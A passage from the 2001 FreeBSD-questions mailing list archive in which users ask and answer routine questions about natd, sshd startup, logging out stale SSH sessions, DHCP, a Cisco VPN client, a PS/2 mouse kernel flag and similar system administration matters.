2001 20:06:20 +0200 From: Sheldon Hearn To: Nick Rogness Cc: freebsd-questions@FreeBSD.ORG Subject: Re: Diagrams on natd? In-reply-to: Your message of "Wed, 21 Nov 2001 11:17:26 CST." Date: Wed, 21 Nov 2001 20:06:20 +0200 Message-ID: <906.1006365980@axl.seasidesoftware.co.za> Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG On Wed, 21 Nov 2001 11:17:26 CST, Nick Rogness wrote: > I made an animated gif that steps through the nat process: > > http://freebsd.rogness.net/redirect.cgi?basic/nat.html Nice idea! Thing is, I'm trying to get a better understanding of how natd interacts with IPFW. There's a LOT more going on than what's shown in your diagram. Don't get me wrong, your web page looks like it would be helpful to lots of people -- it just doesn't go deep enough for me. Ruslan Ermilov suggested I pay closer attention to the divert(4) web page. I'll take a look again... Ciao, Sheldon. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Wed Nov 21 10:11:18 2001 Delivered-To: freebsd-questions@freebsd.org Received: from web20110.mail.yahoo.com (web20110.mail.yahoo.com [216.136.226.47]) by hub.freebsd.org (Postfix) with SMTP id 9083637B405 for ; Wed, 21 Nov 2001 10:11:17 -0800 (PST) Message-ID: <20011121181117.50024.qmail@web20110.mail.yahoo.com> Received: from [24.103.169.134] by web20110.mail.yahoo.com via HTTP; Wed, 21 Nov 2001 10:11:17 PST Date: Wed, 21 Nov 2001 10:11:17 -0800 (PST) From: ann kok Subject: ssh start To: freebsd-questions@FreeBSD.ORG MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG Hi all I met the following problem how do i fix it? [root@mail init.d]# ./sshd start Generating SSH1 RSA host key: [FAILED] __________________________________________________ Do You Yahoo!? Yahoo! GeoCities - quick and easy web site hosting, just $8.95/month. http://geocities.yahoo.com/ps/info1 To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Wed Nov 21 10:25:29 2001 Delivered-To: freebsd-questions@freebsd.org Received: from blacklamb.mykitchentable.net (ekgr-dsl3-t211.citlink.net [207.173.248.211]) by hub.freebsd.org (Postfix) with ESMTP id 5297137B416 for ; Wed, 21 Nov 2001 10:25:26 -0800 (PST) Received: from tagalong (unknown [165.107.42.150]) by blacklamb.mykitchentable.net (Postfix) with SMTP id 398EFEE547 for ; Wed, 21 Nov 2001 10:26:23 -0800 (PST) Message-ID: <003501c172b9$dd8239e0$962a6ba5@lc.ca.gov> From: "Drew Tomlinson" To: Subject: A (IMHO) Question Asking Good Guide Date: Wed, 21 Nov 2001 10:25:11 -0800 MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 6.00.2600.0000 X-Mimeole: Produced By Microsoft MimeOLE V6.00.2600.0000 Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG The preface in the PDF FAQ at http://www.smoothwall.org/download/pdf/docs/0.9.9/doc.faq.pdf seems to be a good guide on how to ask questions in forums such as this one. It might be a place to direct those that don't seem to have a clue as to how support groups such as this one work. Anyway, just my opinion and I wanted to share the link with anyone who may be interested. Drew To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Wed Nov 21 10:35:18 2001 Delivered-To: freebsd-questions@freebsd.org Received: from trinity.magpage.com (trinity.magpage.com [216.155.0.8]) by hub.freebsd.org (Postfix) with ESMTP id A31D637B416 for ; Wed, 21 Nov 2001 10:35:13 -0800 (PST) Received: from magpage.com (poomba.magpage.com [216.155.24.136]) by trinity.magpage.com (8.11.6/8.11.3) with ESMTP id fALIZBP73500; Wed, 21 Nov 2001 13:35:11 -0500 (EST) Message-ID: <3BFBF3DE.3060306@magpage.com> Date: Wed, 21 Nov 2001 13:35:10 -0500 From: Daniel Frazier User-Agent: Mozilla/5.0 (X11; U; FreeBSD i386; en-US; rv:0.9.5) Gecko/20011112 X-Accept-Language: en-us MIME-Version: 1.0 To: Jonathan Hilgeman Cc: "'freebsd-questions@freebsd.org'" Subject: Re: Log Out Other Users References: <5D90F61EB6FDD411836500508B137F1AA3F06C@mailsvr.ecx.com> Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit X-RRT-Status: UNKNOWN Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG Jonathan Hilgeman wrote: > When I type "who" I get a list of about 4 users who are logged in via SSH. I > know some of them are old sessions that just timed out or something, so I > find the PIDs of the SSH processes, and kill those PIDs. However, sometimes > this doesn't do the trick. They disappear entirely from the process list, > but they continue to show up when I type who. Is there a better way to kill > users? > > - Jonathan > > To Unsubscribe: send mail to majordomo@FreeBSD.org > with "unsubscribe freebsd-questions" in the body of the message > "shutdown -k" might do the trick, although this will result in all logins (except root) being disabled. "rm /var/run/nologin" will fix that. You also might want to look at /usr/ports/sysutils/slay. This will kick off a user and terminate any of that users' processes. I think it will only work on one user at a time, though... -- ---------------------------------------------------------------------- Daniel Frazier Tel: 302-239-5900 Ext. 231 Systems Administrator Fax: 302-239-3909 MAGPAGE, We Power the Internet WWW: http://www.magpage.com/ "They that can give up essential liberty to obtain a little temporary safety deserve neither liberty nor safety." - Benjamin Franklin, Historical Review of Pennsylvania, 1759. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Wed Nov 21 10:36:53 2001 Delivered-To: freebsd-questions@freebsd.org Received: from hotmail.com (dav58.law15.hotmail.com [64.4.22.193]) by hub.freebsd.org (Postfix) with ESMTP id 5FACF37B416 for ; Wed, 21 Nov 2001 10:36:49 -0800 (PST) Received: from mail pickup service by hotmail.com with Microsoft SMTPSVC; Wed, 21 Nov 2001 10:36:49 -0800 X-Originating-IP: [213.51.18.126] From: "Peter Harmsen" To: Subject: dhcp client Date: Sun, 18 Nov 2001 18:03:29 +0100 MIME-Version: 1.0 Content-Type: multipart/alternative; boundary="----=_NextPart_000_0007_01C1705B.53BB8E60" X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 5.50.4807.1700 X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4807.1700 Message-ID: X-OriginalArrivalTime: 21 Nov 2001 18:36:49.0258 (UTC) FILETIME=[7B1614A0:01C172BB] Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG This is a multi-part message in MIME format. ------=_NextPart_000_0007_01C1705B.53BB8E60 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable Hello mem/sir, My ISP assignes the ip-addresses dynamically. Is it possible to get this working under freebsd? Instead of using a static ip address? with kind regards, Peter Harmsen ------=_NextPart_000_0007_01C1705B.53BB8E60 Content-Type: text/html; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable
Hello mem/sir,
 
My ISP assignes the ip-addresses=20 dynamically.
Is it possible to get this working = under=20 freebsd?
Instead of using a static ip = address?
 
with kind regards,
 
Peter = Harmsen
------=_NextPart_000_0007_01C1705B.53BB8E60-- To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Wed Nov 21 10:37:40 2001 Delivered-To: freebsd-questions@freebsd.org Received: from mail-relay1.mirrorimage.net (mail-relay1.mirrorimage.net [209.58.140.11]) by hub.freebsd.org (Postfix) with ESMTP id 2A44A37B405 for ; Wed, 21 Nov 2001 10:37:36 -0800 (PST) Received: from leblanc.mirrorimage.net (leblanc.mirrorimage.net [209.192.210.146]) by mail-relay1.mirrorimage.net (8.9.3/8.9.3) with ESMTP id NAA13889 for ; Wed, 21 Nov 2001 13:36:39 -0500 Received: (from leblanc@localhost) by leblanc.mirrorimage.net (8.11.6/8.11.4) id fALIbfe20558 for freebsd-questions@FreeBSD.org; Wed, 21 Nov 2001 13:37:41 -0500 (EST) (envelope-from leblanc) Date: Wed, 21 Nov 2001 13:37:41 -0500 From: Louis LeBlanc To: FreeBSD Questions Subject: VPN access to a Cisco VPN 5000? Message-ID: <20011121183740.GB14025@keyslapper.org> Reply-To: freebsd-questions@FreeBSD.org Mail-Followup-To: FreeBSD Questions Mime-Version: 1.0 Content-Type: multipart/signed; micalg=pgp-sha1; protocol="application/pgp-signature"; boundary="0ntfKIWw70PvrIHh" Content-Disposition: inline User-Agent: Mutt/1.3.23.2i X-bright-idea: Lets abolish HTML mail! Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG --0ntfKIWw70PvrIHh Content-Type: text/plain; charset=iso-8859-1 Content-Disposition: inline Content-Transfer-Encoding: quoted-printable Hey all. I'm trying to get an idea wether it might be possible to set up a VPN connection from a FreeBSD 4.4 Release system to a Cisco VPN 500 server (I think it used to be called "IntraPort" before Cisco bought them). Any ideas? I'm under the impression that it's not standard compliant, and clients only exist for Linux and Win* clients. I'm told that the Linux client won't work in compatability mode because it requires access to kernel code (the path to which is hard coded) and the interface may be hard coded to eth0. If it can't be done, and Cisco isn't putting a *BSD based client out, then I'll just have to keep hounding IT about the ACL every time I get renumbered . . . :) TIA Lou --=20 Louis LeBlanc leblanc@keyslapper.org Fully Funded Hobbyist, KeySlapper Extrordinaire :) http://www.keyslapper.org =D4=BF=D4=AC QOTD: "You want me to put *holes* in my ears and hang things from them? How... tribal." --0ntfKIWw70PvrIHh Content-Type: application/pgp-signature Content-Disposition: inline -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.0.6 (FreeBSD) Comment: For info see http://www.gnupg.org iD8DBQE7+/R0eAPWYrNkRWIRAu/cAJ4qyYaBwBpls46wrXcQqCs09mVkjQCdG9t0 2/grIMJFp8PMOCmVVvg8P4A= =U2WT -----END PGP SIGNATURE----- --0ntfKIWw70PvrIHh-- To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Wed Nov 21 10:44:42 2001 Delivered-To: freebsd-questions@freebsd.org Received: from services.webwarrior.net (overlord-host99.dsl.visi.com [209.98.86.99]) by hub.freebsd.org (Postfix) with ESMTP id CBD8537B418 for ; Wed, 21 Nov 2001 10:44:38 -0800 (PST) Received: from twincat.vladsempire.net (hutch-820.hutchtel.net [206.10.71.148]) by services.webwarrior.net (Postfix) with ESMTP id 9B006236 for ; Wed, 21 Nov 2001 12:45:22 -0600 (CST) Received: by twincat.vladsempire.net (Postfix, from userid 1001) id ABDF33979; Wed, 21 Nov 2001 12:40:04 +0000 (GMT) Date: Wed, 21 Nov 2001 12:40:04 +0000 From: Josh Paetzel To: ann kok Cc: freebsd-questions@FreeBSD.ORG Subject: Re: ssh start Message-ID: <20011121124004.D551@twincat.vladsempire.net> Mail-Followup-To: ann kok , freebsd-questions@FreeBSD.ORG References: <20011121181117.50024.qmail@web20110.mail.yahoo.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2.5i In-Reply-To: <20011121181117.50024.qmail@web20110.mail.yahoo.com>; from annkok2001@yahoo.com on Wed, Nov 21, 2001 at 10:11:17AM -0800 Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG On Wed, Nov 21, 2001 at 10:11:17AM -0800, ann kok wrote: > Hi all > > I met the following problem > how do i fix it? > > [root@mail init.d]# ./sshd start > Generating SSH1 RSA host key: [FAILED] What Operating System are you running? init.d looks like a SVR4 thing more than a BSD thing. You can try starting sshd in verbose mode, and take a look at /var/log/messages. There's really not a lot of info to go on so far. Josh To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Wed Nov 21 10:47: 4 2001 Delivered-To: freebsd-questions@freebsd.org Received: from trinity.magpage.com (trinity.magpage.com [216.155.0.8]) by hub.freebsd.org (Postfix) with ESMTP id C527037B416 for ; Wed, 21 Nov 2001 10:47:00 -0800 (PST) Received: from magpage.com (poomba.magpage.com [216.155.24.136]) by trinity.magpage.com (8.11.6/8.11.3) with ESMTP id fALIkuP79722; Wed, 21 Nov 2001 13:46:56 -0500 (EST) Message-ID: <3BFBF6A0.3080304@magpage.com> Date: Wed, 21 Nov 2001 13:46:56 -0500 From: Daniel Frazier User-Agent: Mozilla/5.0 (X11; U; FreeBSD i386; en-US; rv:0.9.5) Gecko/20011112 X-Accept-Language: en-us MIME-Version: 1.0 To: Clayton Tycksen Cc: questions@FreeBSD.ORG Subject: Re: psmintr out of sync References: <004d01c172a7$1a89ade0$236a46a6@ztlaw.com> Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit X-RRT-Status: UNKNOWN Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG Clayton Tycksen wrote: > hey all, > > > > yes, i'm getting the "psmintr out of sync" error when i try to use my > mouse. stopping/starting/adjusting the mouse daemon doesn't help. > > > > i'm running FreeBSD 4.2. > > > > the mouse is a Microsoft USB Intellimouse Explorer (5 button) with a > USB->PS/2 adapter. i'm using the mouse through a switch (Belkin > OmniView Pro), so i'm using the PS/2 adapter. i've got a similar setup > at home, similar mouse/switch/cables, etc... with no problems. but my > machine at home is running FreeBSD 4.4. i'm guessing that the problem > was fixed in/before 4.4. > > > > from searching archives, i have seen that a possible fix for this is to > use a serial adapter on the mouse and connect it to a serial port. > since i need to use my switch, that really isn't an option. > > > > does anyone have any other solutions/suggestions as to a workaround for > this problem? i'm a newbie, so you may have to be somewhat detailed in > your response. > > > > thanks, > > > > clay > > > > > > > > > > > > > you didn't search hard enough. I've personally answered this question at least a couple of times in the last year or so. what you need to do is make the psm line in your kernel config file look like this... device psm0 at atkbdc? irq 12 flags 0x100 ...and then compile/install a new kernel. "man psm" would have answered this for you as well. one last thing... Just Say NO! to HTML email. 'nuff said. -- ---------------------------------------------------------------------- Daniel Frazier Tel: 302-239-5900 Ext. 231 Systems Administrator Fax: 302-239-3909 MAGPAGE, We Power the Internet WWW: http://www.magpage.com/ "They that can give up essential liberty to obtain a little temporary safety deserve neither liberty nor safety." - Benjamin Franklin, Historical Review of Pennsylvania, 1759. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Wed Nov 21 10:50:58 2001 Delivered-To: freebsd-questions@freebsd.org Received: from mail11.speakeasy.net (mail11.speakeasy.net [216.254.0.211]) by hub.freebsd.org (Postfix) with ESMTP id 5FF3037B405 for ; Wed, 21 Nov 2001 10:50:55 -0800 (PST) Received: (qmail 22700 invoked from network); 21 Nov 2001 18:51:00 -0000 Received: from unknown (HELO z5w4q9) ([66.92.216.5]) (envelope-sender ) by mail11.speakeasy.net (qmail-ldap-1.03) with SMTP for ; 21 Nov 2001 18:51:00 -0000 Message-ID: <00da01c172bd$2de74080$05d85c42@kibserv.org> From: "USER" To: "Mike Semcheski" , Cc: References: Subject: Re: natd failed to write packet back Date: Wed, 21 Nov 2001 13:48:57 -0500 MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 6.00.2600.0000 X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2600.0000 Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG I have a similar problem but this is affecting my clients. It seems if a laptop stays connected longer than the default lease time I get the following message natd[89]: failed to write packet back (Host is down) and it repeats sometimes several hundred times an minute. On the client side the laptop in question loses all IP connectivity but winipcfg reports a valid lease with up to 8 hours remaining in the lease. Release/Renew within the client machine resolve this trouble and often the same IP is reissued. I checked /var/log/security and it seems to be completely empty. Is logging to security disabled or is it possible for there to be no messages in a case like this. I asked this question several times in the past without response. Maybe now since the topic is back up someone can help. ----- Original Message ----- From: To: "Mike Semcheski" Cc: Sent: Monday, November 19, 2001 2:25 PM Subject: Re: natd failed to write packet back > > Hi Mike, > > Check the /var/log/security file for the last clear message about what was > denied... > > I assume your W2K machine tries to broadcast something on one of the port > 137-139 > > - Joe > > > To Unsubscribe: send mail to majordomo@FreeBSD.org > with "unsubscribe freebsd-questions" in the body of the message To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Wed Nov 21 10:52:14 2001 Delivered-To: freebsd-questions@freebsd.org Received: from fremont.bolingbroke.com (adsl-216-102-90-210.dsl.snfc21.pacbell.net [216.102.90.210]) by hub.freebsd.org (Postfix) with ESMTP id 62C2537B405 for ; Wed, 21 Nov 2001 10:52:11 -0800 (PST) Received: from fremont.bolingbroke.com (fremont.bolingbroke.com [216.102.90.210]) by fremont.bolingbroke.com (8.12.1/8.12.1) with ESMTP id fALIqA20080047; Wed, 21 Nov 2001 10:52:10 -0800 (PST) Date: Wed, 21 Nov 2001 10:52:10 -0800 (PST) From: Ken Bolingbroke To: Lord Raiden Cc: freebsd-questions@FreeBSD.ORG Subject: Re: Novell and BSD In-Reply-To: <4.2.0.58.20011121130120.00979aa0@pop.netzero.net> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG "work with" is a bit vague. There's mars_nwe in /usr/ports/net that makes FreeBSD look like a Netware server, if that's what you want or ncplib, also in /usr/ports/net, a client for Netware. Otherwise, insofar as Netware uses TCP/IP based services (I haven't touched Netware for several years, so dunno what's new on that front), they can interact with each other that way. Ken Bolingbroke hacker@bolingbroke.com On Wed, 21 Nov 2001, Lord Raiden wrote: > Silly question, I know this doesn't apply to me since we don't use Novell, > but how well does BSD work with Novell and how easy is it to setup? I'm > just deathly curious. Thanks. > > To Unsubscribe: send mail to majordomo@FreeBSD.org > with "unsubscribe freebsd-questions" in the body of the message > To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Wed Nov 21 10:53:33 2001 Delivered-To: freebsd-questions@freebsd.org Received: from dualcpus.com (216-203-226-125.customer.algx.net [216.203.226.125]) by hub.freebsd.org (Postfix) with SMTP id 140B137B417 for ; Wed, 21 Nov 2001 10:53:29 -0800 (PST) Received: (qmail 55085 invoked from network); 21 Nov 2001 18:53:28 -0000 Received: from 216-203-226-3.customer.algx.net (HELO server) (hasdf@216.203.226.3) by 216-203-226-125.customer.algx.net with SMTP; 21 Nov 2001 18:53:28 -0000 Message-ID: <004401c172bd$82566510$03e2cbd8@server> From: "Jeremiah Gowdy" To: Subject: Audio conversion Date: Wed, 21 Nov 2001 10:51:20 -0800 MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 6.00.2600.0000 X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2600.0000 Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG I need to convert vox files generated by a voicemail system to wav, and then encode the wav files into MP3. I'm pretty sure I can setup the wav-mp3 conversion, but I can't find anything that will convert vox to wav under FreeBSD. Does anyone know of such a tool, even perhaps a linux tool I could use ? It must be text-only, it's going to run from a script. I am no longer subscribed to -questions, so if could could include data@dualcpus.com in the reply, I would appreciate it. Thanks. ___________________________________________ Jeremiah Gowdy IT Manager - Senior Network Administrator Sherline Products Inc 3235 Executive Ridge Vista CA 92083-8527 IT Dept: 760-727-9492 Sales: 1-800-541-0735 International: (760) 727-5857 Fax: (760) 727-7857 ___________________________________________ To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Wed Nov 21 10:55: 9 2001 Delivered-To: freebsd-questions@freebsd.org Received: from mail.ztlaw.com (ztlaw.com [166.70.106.34]) by hub.freebsd.org (Postfix) with ESMTP id C401D37B405 for ; Wed, 21 Nov 2001 10:54:56 -0800 (PST) Received: from Goku (goku.ztlaw.com [166.70.106.35]) by mail.ztlaw.com (Postfix) with SMTP id 90A2529994; Wed, 21 Nov 2001 11:57:38 -0700 (MST) Message-ID: <00c901c172be$434fa3d0$236a46a6@ztlaw.com> From: "Clayton Tycksen" To: "Daniel Frazier" Cc: References: <004d01c172a7$1a89ade0$236a46a6@ztlaw.com> <3BFBF6A0.3080304@magpage.com> Subject: Re: psmintr out of sync Date: Wed, 21 Nov 2001 11:56:44 -0700 MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 6.00.2600.0000 X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2600.0000 Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG Daniel, you're right i didn't look hard enough. i did look some more, searching "psmintr: out of sync" doesn't yield results, but "psmintr" does. and i tried changing the line in my kernel to read: device psm0 at atkbdc? irq 12 flags 0x100 with a recompile of the kernel and a restart, but no success. oh and one more thing: i usually do send plain-text email. i had forgotten to switch back after needing to send an HTML mail to a friend, but i appreciate the reminder. -clay ----- Original Message ----- From: "Daniel Frazier" To: "Clayton Tycksen" Cc: Sent: Wednesday, November 21, 2001 11:46 AM Subject: Re: psmintr out of sync > Clayton Tycksen wrote: > > > hey all, > > > > > > > > yes, i'm getting the "psmintr out of sync" error when i try to use my > > mouse. stopping/starting/adjusting the mouse daemon doesn't help. > > > > > > > > i'm running FreeBSD 4.2. > > > > > > > > the mouse is a Microsoft USB Intellimouse Explorer (5 button) with a > > USB->PS/2 adapter. i'm using the mouse through a switch (Belkin > > OmniView Pro), so i'm using the PS/2 adapter. i've got a similar setup > > at home, similar mouse/switch/cables, etc... with no problems. but my > > machine at home is running FreeBSD 4.4. i'm guessing that the problem > > was fixed in/before 4.4. > > > > > > > > from searching archives, i have seen that a possible fix for this is to > > use a serial adapter on the mouse and connect it to a serial port. > > since i need to use my switch, that really isn't an option. > > > > > > > > does anyone have any other solutions/suggestions as to a workaround for > > this problem? i'm a newbie, so you may have to be somewhat detailed in > > your response. > > > > > > > > thanks, > > > > > > > > clay > > > > > > > > > > > > > > > > > > > > > > > > > > > > > you didn't search hard enough. I've personally answered this question > at least a couple of times in the last year or so. what you need to > do is make the psm line in your kernel config file look like this... > > device psm0 at atkbdc? irq 12 flags 0x100 > > ...and then compile/install a new kernel. "man psm" would have > answered this for you as well. > > one last thing... Just Say NO! to HTML email. 'nuff said. > > > -- > ---------------------------------------------------------------------- > Daniel Frazier Tel: 302-239-5900 Ext. 231 > Systems Administrator Fax: 302-239-3909 > MAGPAGE, We Power the Internet WWW: http://www.magpage.com/ > > "They that can give up essential liberty to obtain a little temporary > safety deserve neither liberty nor safety." > - Benjamin Franklin, Historical Review of Pennsylvania, 1759. > > > > To Unsubscribe: send mail to majordomo@FreeBSD.org > with "unsubscribe freebsd-questions" in the body of the message > > To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Wed Nov 21 10:55:22 2001 Delivered-To: freebsd-questions@freebsd.org Received: from whoweb.com (whoweb.com [208.146.132.20]) by hub.freebsd.org (Postfix) with ESMTP id 5CFE937B419 for ; Wed, 21 Nov 2001 10:55:18 -0800 (PST) Received: (from mailist@localhost) by whoweb.com (8.8.8/8.8.6) id NAA07548 for questions@FreeBSD.ORG; Wed, 21 Nov 2001 13:55:10 -0500 (EST) Date: Wed, 21 Nov 2001 13:55:10 -0500 (EST) From: Incoming Mail List Message-Id: <200111211855.NAA07548@whoweb.com> To: questions@FreeBSD.ORG Subject: copying over kernel Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG I want to replace /kernel with /kernel.orig. Even as superuser, I cannot overwrite /kernel. I don't want to go through the entire 'make' procedure, I just want to replace /kernel with another kernel. How can I do this? Thanks, Jon To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Wed Nov 21 10:57:12 2001 Delivered-To: freebsd-questions@freebsd.org Received: from mail.mango-bay.com (mail.mango-bay.com [208.206.15.12]) by hub.freebsd.org (Postfix) with ESMTP id AB40137B417 for ; Wed, 21 Nov 2001 10:57:05 -0800 (PST) Received: from barbish ([63.70.155.65]) by mail.mango-bay.com (Post.Office MTA v3.5.3 release 223 ID# 0-52377U2500L250S0V35) with SMTP id com for ; Wed, 21 Nov 2001 13:57:10 -0500 From: "Joe & Fhe Barbish" To: "FBSD Questions" Subject: Permission denied Date: Wed, 21 Nov 2001 13:56:17 -0500 Message-ID: MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 (Normal) X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook IMO, Build 9.0.2416 (9.0.2911.0) X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2600.0000 Importance: Normal Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG Have FBSD 4.4 installed and running. Receive following message: Getty[184]: /usr/local/bin/ppplogin: Permission Denied While trying to receive an incoming external modem login call. I think this means I have to give permission to the Getty task to access this path. How do I do this? To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Wed Nov 21 10:57:10 2001 Delivered-To: freebsd-questions@freebsd.org Received: from florida-wireless.com (mailserver.florida-wireless.com [208.62.145.34]) by hub.freebsd.org (Postfix) with ESMTP id 910FA37B416 for ; Wed, 21 Nov 2001 10:57:05 -0800 (PST) Date: Wed, 21 Nov 2001 13:59:31 -0500 Message-Id: <200111211359.AA1021509764@florida-wireless.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii From: "brain_damaged" Reply-To: To: Subject: mud servers ? X-Mailer: Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG My son would like to run a mud sever. Anyone know of a good updated one that won't cause me security concerns . I know very little about them but he plays on them all the time. thanks md To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Wed Nov 21 11: 3: 4 2001 Delivered-To: freebsd-questions@freebsd.org Received: from dc.cis.okstate.edu (dc.cis.okstate.edu [139.78.100.219]) by hub.freebsd.org (Postfix) with ESMTP id 4F97E37B405 for ; Wed, 21 Nov 2001 11:03:03 -0800 (PST) Received: from dc.cis.okstate.edu (localhost.cis.okstate.edu [127.0.0.1]) by dc.cis.okstate.edu (8.11.3/8.11.3) with ESMTP id fALJ32a29750 for ; Wed, 21 Nov 2001 13:03:02 -0600 (CST) (envelope-from martin@dc.cis.okstate.edu) Message-Id: <200111211903.fALJ32a29750@dc.cis.okstate.edu> To: freebsd-questions@freebsd.org Subject: Re: Password Aging and Classes Date: Wed, 21 Nov 2001 13:03:02 -0600 From: "Martin G. McCormick" Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG Please disregard my earlier question. I found more documentation that I have not yet read. Sorry to bother the group. Martin McCormick To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Wed Nov 21 11: 7:48 2001 Delivered-To: freebsd-questions@freebsd.org Received: from hotmail.com (f29.law3.hotmail.com [209.185.241.29]) by hub.freebsd.org (Postfix) with ESMTP id E96FC37B418 for ; Wed, 21 Nov 2001 11:07:45 -0800 (PST) Received: from mail pickup service by hotmail.com with Microsoft SMTPSVC; Wed, 21 Nov 2001 11:07:45 -0800 Received: from 193.216.47.156 by lw3fd.law3.hotmail.msn.com with HTTP; Wed, 21 Nov 2001 19:07:45 GMT X-Originating-IP: [193.216.47.156] From: "Thor Legvold" To: wshamean115@hotmail.com, questions@FreeBSD.org Subject: Re: dhcp client Date: Wed, 21 